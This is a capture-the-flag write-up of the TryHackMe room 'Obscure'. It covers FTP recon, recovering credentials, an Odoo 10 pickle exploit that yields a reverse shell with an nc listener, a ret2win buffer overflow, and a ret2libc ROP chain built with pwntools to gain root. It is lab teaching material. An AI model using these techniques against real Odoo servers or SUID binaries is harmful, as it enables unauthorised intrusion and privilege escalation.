> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2023/obscure.md).

# Obscure

{% embed url="<https://tryhackme.com/room/obscured>" %}

## Recon

First of all we are looking for open ports using nmap with&#x20;

```
nmap -sT -sC -sV <target's ip address>
```

<figure><img src="/files/3TbOzYwDSdbXvs0kXDJT" alt=""><figcaption></figcaption></figure>

We have 3 open ports:

* 21 FTP
* 22 SSH&#x20;
* 80 HTTP&#x20;

Peeking into the ftp with anonymous user reveals 2 files:

* notice.txt
* password

<figure><img src="/files/4D7D9vuZ63T5wgagPcaf" alt=""><figcaption></figcaption></figure>

Looking into notice.txt gives us a hint on a possible domain `antisoft.thm`. We might need that later.

<figure><img src="/files/ZTttaXj4KAUbbwTSiGfp" alt=""><figcaption></figcaption></figure>

The password file is a 64bit executable binary. Making it executable and running it, it prompts us for an user id to recover a password.

<figure><img src="/files/EjiU6oLFWSVDdPIUBM62" alt=""><figcaption></figcaption></figure>

With `strings` we hope to get any printable strings of the binary giving us any hint for the password or user id. `971234596` might be it.

<figure><img src="/files/HYrBXFZer5CHypP365qX" alt=""><figcaption></figcaption></figure>

Using `971234596` gives us the Password `SecurePassword123!`

<figure><img src="/files/YmVlQjBh3YJ0QwsyB4e9" alt=""><figcaption></figcaption></figure>

## Getting initial access and 1st flag

Next, we visit the webpage and land on a login page of odoo. We have a password but are missing the user. Peeking on the site, there is a link to manage databases.

<figure><img src="/files/RRDFyO9HwbK2YIHpWFJu" alt=""><figcaption></figcaption></figure>

Clicking on that, we are able to get a backup of the database providing a password.

<figure><img src="/files/pNtGmp5aUt2CoMwK5ZR6" alt=""><figcaption></figcaption></figure>

Using the password of the recovery binary we get a zip file containing `dump.sql`.

<figure><img src="/files/dQ9ncn8bY1ArqrvUYz4v" alt=""><figcaption></figcaption></figure>

Grepping for the domain `antisoft.thm`, hinted by the `notice.txt`, we get the user `admin@antisoft.thm`.

<figure><img src="/files/IOf4zyyioNZ9j4Mlo8Y1" alt=""><figcaption></figcaption></figure>

Next, we try the user `admin@antisoft.thm` with the already known password `SecurePassword123!` before we try to crack the hash. Maybe the password was reused.

<figure><img src="/files/wcaVYhvv94wa8VlRECri" alt=""><figcaption></figcaption></figure>

We got in with the credentials and are able to check out the running version of odoo

<figure><img src="/files/rAU0MQxpGzcKfWXaicw3" alt=""><figcaption></figcaption></figure>

Given the version 10 we will find an exploit on exploit-db:

{% embed url="<https://www.exploit-db.com/exploits/44064>" %}

With a fix of intendation and swap out payload and performing the steps given in the exploit, we are able to get a reverse shell.

<figure><img src="/files/dZZbfQabix9XsR3hE72D" alt=""><figcaption></figcaption></figure>

running script with python2.7 to create the `exploit.pickle` which will have to use

```
python2.7 44064.py
```

set up a listener on 4444

```
nc -lnvp 4444
```

In odoo you have to install the Database Anonymization App, anonymize the database, reload the page, upload the generated pickle and reverse the anonymization which executes the pickle.

<figure><img src="/files/hYHhlPBtRqnzjXZjtbVP" alt=""><figcaption><p>Installing Database Anonymization on odoo</p></figcaption></figure>

<figure><img src="/files/GjDdisvZhq2Ufu0l6v5K" alt=""><figcaption><p>Anonymize Database</p></figcaption></figure>

Reload the page

<figure><img src="/files/vuL6FIz2ypdUGm2P6Bli" alt=""><figcaption><p>Upload pickle</p></figcaption></figure>

<figure><img src="/files/0imKKSKfyyMLJB452Qvk" alt=""><figcaption><p>Revert the anonymization</p></figcaption></figure>

Getting the reverse shell:&#x20;

<figure><img src="/files/ro0nUpDZTf4rvgliSJoZ" alt=""><figcaption><p>Getting a reverse shell</p></figcaption></figure>

Next, we upgrade the shell

{% hint style="info" %}
{% code title="Upgrade shell" %}

```sh
SHELL=/bin/bash scrip -q /dev/null
STRG+Z
stty raw -echo && fg
```

{% endcode %}
{% endhint %}

Checking the user gives us odoo

<figure><img src="/files/Muh3CZcccAkD2ngfbkZZ" alt=""><figcaption></figcaption></figure>

The first flag can be found in the users directory of odoo: `/var/lib/odoo`

<figure><img src="/files/nnr4plhYLgBEdOajCVcz" alt=""><figcaption></figcaption></figure>

During enumeration, the binary `ret` in the root folder stood out, which set a `SUID bit`.

<figure><img src="/files/hxHhPKRqhq7wl4iAEvP3" alt=""><figcaption></figcaption></figure>

Running the binary reveals that we have to exploit it to get on the box.

<figure><img src="/files/9X6EXbUe3gXZuA1Klq8J" alt=""><figcaption></figcaption></figure>

We are getting ret on the attack box for further investigation with nc

{% hint style="info" %}
File transfer via nc

on the receiving end run&#x20;

`nc -l -p <PORT> > <FILENAME>`

\
to send the file&#x20;

`nc -w 3 <TARGET-IP> <PORT> < <FILENAME>`
{% endhint %}

<figure><img src="/files/xrfyixesit8lPeb9ZY6g" alt=""><figcaption></figcaption></figure>

The file `ret` is a 64Bit executable with NX set.

<figure><img src="/files/3D1wFk9UtgVJcXBnvD0C" alt=""><figcaption></figcaption></figure>

opening `ret` in ghidra and inspecting `main`, we see it's calling the `vuln()` function&#x20;

<figure><img src="/files/Geh4NiIMVuw0cnzF7ARW" alt=""><figcaption></figcaption></figure>

`The vuln()` function uses `gets()`

<figure><img src="/files/x5PCPA7txfaGCId7pQdV" alt=""><figcaption></figcaption></figure>

And the `win()` function is calling `system(/bin/sh)`&#x20;

<figure><img src="/files/L9g00UBOgvNn7bR6PeEp" alt=""><figcaption></figcaption></figure>

The `win()`  function address is 0x400646

## Binary Exploitation for 2nd flag

For further exploitation we use `gdb` with `gef`

{% embed url="<https://github.com/hugsy/gef>" %}

We run gdb with the binary `gbd ret` and start the execution with `r`. Entering 200 A's  gives us a SEGFAULT

<figure><img src="/files/XZnIqAGyIg6ee6tH5zYL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/XmG3fVQqp0hSH4wjdcxw" alt=""><figcaption></figcaption></figure>

Next, we create a pattern to determine the $rsp location

<figure><img src="/files/EpTKV0uIYqUyrHnEXdtG" alt=""><figcaption></figcaption></figure>

Getting an offset of 136 until we reach `$rsp`

<figure><img src="/files/hTpVZD2qq8IyvXbpfhdT" alt=""><figcaption></figcaption></figure>

For validation we create a string of 136 A's and 8 B's and enter it into the binary.

<figure><img src="/files/zjHX270ilScmxv1P4ePD" alt=""><figcaption></figcaption></figure>

And the `$rsp` is filled up with B's

<figure><img src="/files/a2EPYuTrXSdoolteuUj6" alt=""><figcaption></figcaption></figure>

Building the payload, instead of 8 B's we enter the address of the `win()` function, which then will be executed

<figure><img src="/files/foX9FWbcrVIsvPqWSpmn" alt=""><figcaption></figcaption></figure>

Testing  it locally, we get the response, that indicates we reached the `win()` function running `/bin/sh`

<figure><img src="/files/fksSVlMI9SfWhMH7ZmKA" alt=""><figcaption></figcaption></figure>

Publishing the payload via python webserver

![](/files/rX12HbLTqrdtjBiIr3yZ)![](/files/hoy5bJmgoTEMAcxJs1By)

In the next steps we tried to pass the payload to the binary resulting in a `SEGFAULT` on the target machine

<figure><img src="/files/oyOZZpceumH25CIWIorI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lugeK7TC7xBh1FPrnFw7" alt=""><figcaption></figcaption></figure>

The trick is to keep the stdin open, so we stay in the running shell. One way to do this is piping cat

{% hint style="info" %}
(cat payload; cat) | ./binary
{% endhint %}

<figure><img src="/files/LOPnzQn0XqFmiVCh8ovC" alt=""><figcaption></figcaption></figure>

And we are root as the effective user. But looking at `/` we found a `.dockerenv` file, giving us the hint that we are in a docker container. Looking into /root/root.txt gives us the hint, that we are not done yet. At this point I was highly confused and distracted. I searched for a way to escape  docker, completely forgetting that this machine focuses on binary exploitation. After a long break I came to the idea that the binary might be hosted on the docker host machine...

<figure><img src="/files/3X6XePaHEOVBbvw68fBd" alt=""><figcaption></figcaption></figure>

While enumerating as odoo we find 2 entries in the host file 172.17.0.2 and 172.17.0.3.&#x20;

With a bit of luck I used a static version of nmap to not just scan 172.17.0.2, 172.17.0.3, but also 172.17.0.1 which reveals us a port at 4444. Nmap was not part of the target machine. To get the static version of nmap on the machine a python webserver can be used like we did with payload.p.&#x20;

<figure><img src="/files/xMG8mUaozAvBYFfmz81m" alt=""><figcaption></figcaption></figure>

Connecting to the port `4444` on `172.17.0.1` prompts us with the same message as running `ret` locally

<figure><img src="/files/6VLKXE4Qx9ZtPcsehrAW" alt=""><figcaption></figcaption></figure>

Piping the payoad to the `nc` connection we get on the box as zeeshan

<figure><img src="/files/a6oJ50JcFeISx7a9Vuc9" alt=""><figcaption></figcaption></figure>

In the home directory of zeeshan the second flag is located.

<figure><img src="/files/pqR8HFmhbXZxx9KYUZoH" alt=""><figcaption></figcaption></figure>

Next, there is a `.ssh` folder containing a private and public key of the user zeeshan. We save the private key `id_rsa` for further steps

<figure><img src="/files/XIP04vbv9Xf49mRX0fVY" alt=""><figcaption></figcaption></figure>

## More binary exploitation and 3rd flag

At this point I restarted the machine, so the target IP changes from `10.10.77.17` to `10.10.65.66`

{% hint style="info" %}
Helpful resources understanding ret2libc&#x20;

<https://www.youtube.com/watch?v=TTCz3kMutSs>

<https://tryhackme.com/room/ret2libc>

I highly recommend the resources and practicing the ret2libc room before continuing

For further reading i recommend ir0nstones gitbook

<https://ir0nstone.gitbook.io/notes/>
{% endhint %}

Check if we can connect with the found ssh key

<figure><img src="/files/d8uY0CVU0xhZBgzvUneV" alt=""><figcaption></figcaption></figure>

Searching for files with suid bit set leads us to `exploit_me` in the root directory

<figure><img src="/files/9ma85tElHM22lgou3MY2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4TcT8Yc4ESKnnSUkNeqp" alt=""><figcaption></figcaption></figure>

Running the file prompts us with a hint to exploit it in order to gain `root`

<figure><img src="/files/CaZ36htyNFmnx8zv9Tez" alt=""><figcaption></figcaption></figure>

Downloading the `exploit_me` binary using scp&#x20;

<figure><img src="/files/3y6WjHpH7siqeFBf45MB" alt=""><figcaption></figcaption></figure>

It's a 64bit binary executable

<figure><img src="/files/OyQpFZBuw73Hgp63qmvL" alt=""><figcaption></figcaption></figure>

Running checksec on `exploit_me` shows us NX is enabled like `ret`&#x20;

<figure><img src="/files/jcQcecnwo79wZuP6Ru4k" alt=""><figcaption></figcaption></figure>

Next, we decompile the binary using Ghidra. This time we dont have any functions calling `system`. With the NX enabled we aren't able to execute shell code written to the stack. This indicates that we have to use already linked libraries of the binary with return oriented programming using the dynamically linked library libc. Libc provides us the functions `system` and the string `/bin/sh`, so if we are able to call these, we are able to get a shell.&#x20;

In the main function are the function calls `setuid()`, `puts()` and `gets()`. `Setuid(0)` executes the program as root, next it `puts()` a string and after that it calls `gets()` for an user input.&#x20;

ASLR is enabled on the target machine which randomizes the adress of the linked library libc.

<figure><img src="/files/FYjF32iGBcraLKBdASEG" alt=""><figcaption></figcaption></figure>

We need to leak the adresses of puts, gets and setuid to determine the used libc on the machine, and calculate the relative offset of the address of the gets function to the addresses of the functions `system` and the string `/bin/sh` in the used libc.&#x20;

To leak the adresses we make use of the function `puts` and `gets` run in main.

We build a ROP chain which leaks GOT adresses of gets, puts and setuid by writing the GOT.function address to the rdi register, calling the PLT.puts function and running `main` again.

{% code title="Example for GOT.gets" %}

```
payload = padding
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(binary.got.gets)
payload += p64(binary.plt.puts)
payload += p64(binary.symbols.main)
```

{% endcode %}

With the leaked addresses we determine the libc library version. To calculate the offset relative to the leaked gets function address, we are able to get the `/bin/sh` string address and `system` function address using those to build another ROP chain to write `/bin/sh` to `rdi` executing `system` to get a shell.

<figure><img src="/files/etypYZCQ68z3WIP4uCua" alt=""><figcaption></figcaption></figure>

Like with the binary `ret` we check for a `SEGFAULT`

<figure><img src="/files/oENT23meBbqLAxmoWpjN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3qWeg2SCV8ybuw9P1Vk2" alt=""><figcaption></figcaption></figure>

Creating a pattern to identify the offset to `$rsp`<br>

<figure><img src="/files/iPlqECc0qpW7AuLThA9B" alt=""><figcaption></figcaption></figure>

The offset is 40

<figure><img src="/files/VN6xOcuMWwN5R7Wr1yV6" alt=""><figcaption></figcaption></figure>

Validating the offset with a string of 40 A's and 8 B's

<figure><img src="/files/K7oDGrpBJWqyIGJpq7Va" alt=""><figcaption></figcaption></figure>

The `$rsp` contains 8 B's

<figure><img src="/files/oupdCH6QpWjljmHGzJQd" alt=""><figcaption></figcaption></figure>

### Exploit Locally

The following python program makes use of pwntools to craft the ROP chain.&#x20;

<figure><img src="/files/xFKTCQ41FaT2SjtDWsd9" alt=""><figcaption></figcaption></figure>

Reviewing the leaked adresses shows that the last 12 bit aren't randomized&#x20;

<figure><img src="/files/n8BlYkUkRlm3EULJDCXF" alt=""><figcaption></figcaption></figure>

gets 060

puts 970

setuid 8a0

Using a libc database we are  able to get the used libc library calculated by their offset to each other.

{% embed url="<https://libc.blukat.me/>" %}

<figure><img src="/files/Rb9kD7yPdtjR352al3gs" alt=""><figcaption></figcaption></figure>

In the second part of the program shown below, we use the offset relative to the leaked `gets` function address to calculate the system function address and the `/bin/sh` string to write the `/bin/sh address` into the `rdi` and calling `system`.

<figure><img src="/files/z0852crDdrd1hmIFwfFB" alt=""><figcaption></figcaption></figure>

Running the script shows our exploit worked locally

<figure><img src="/files/kPncx9l0W5qIexkf8YoG" alt=""><figcaption></figcaption></figure>

### Exploit Remotely

To exploit the binary on the target machine we have to make use of ssh to establish a connection to the machine. The binary has to run in the context of the machine, because the used library might be different and the leaked PLT adresses change running the binary again.&#x20;

<figure><img src="/files/Bn1cThCK0xg8qWgGOYFM" alt=""><figcaption></figcaption></figure>

Still, the last 12 bit don't change but are different to the ATTACK BOX.

<figure><img src="/files/5hph0WTwBRdBS9JwNi2l" alt=""><figcaption></figcaption></figure>

Using a libc database again to determine the used libc library

{% embed url="<https://libc.blukat.me/>" %}

<figure><img src="/files/6amOIfuCtZvJttgUKabq" alt=""><figcaption></figcaption></figure>

Using the offsets relative to the gets address

<figure><img src="/files/rdqHhQUrLcfnah5wE7bQ" alt=""><figcaption></figcaption></figure>

Running the script, we are now on the machine as root and found the flag at /root/root.txt

<figure><img src="/files/nURC9iolMRlFBMQiqIwn" alt=""><figcaption></figcaption></figure>
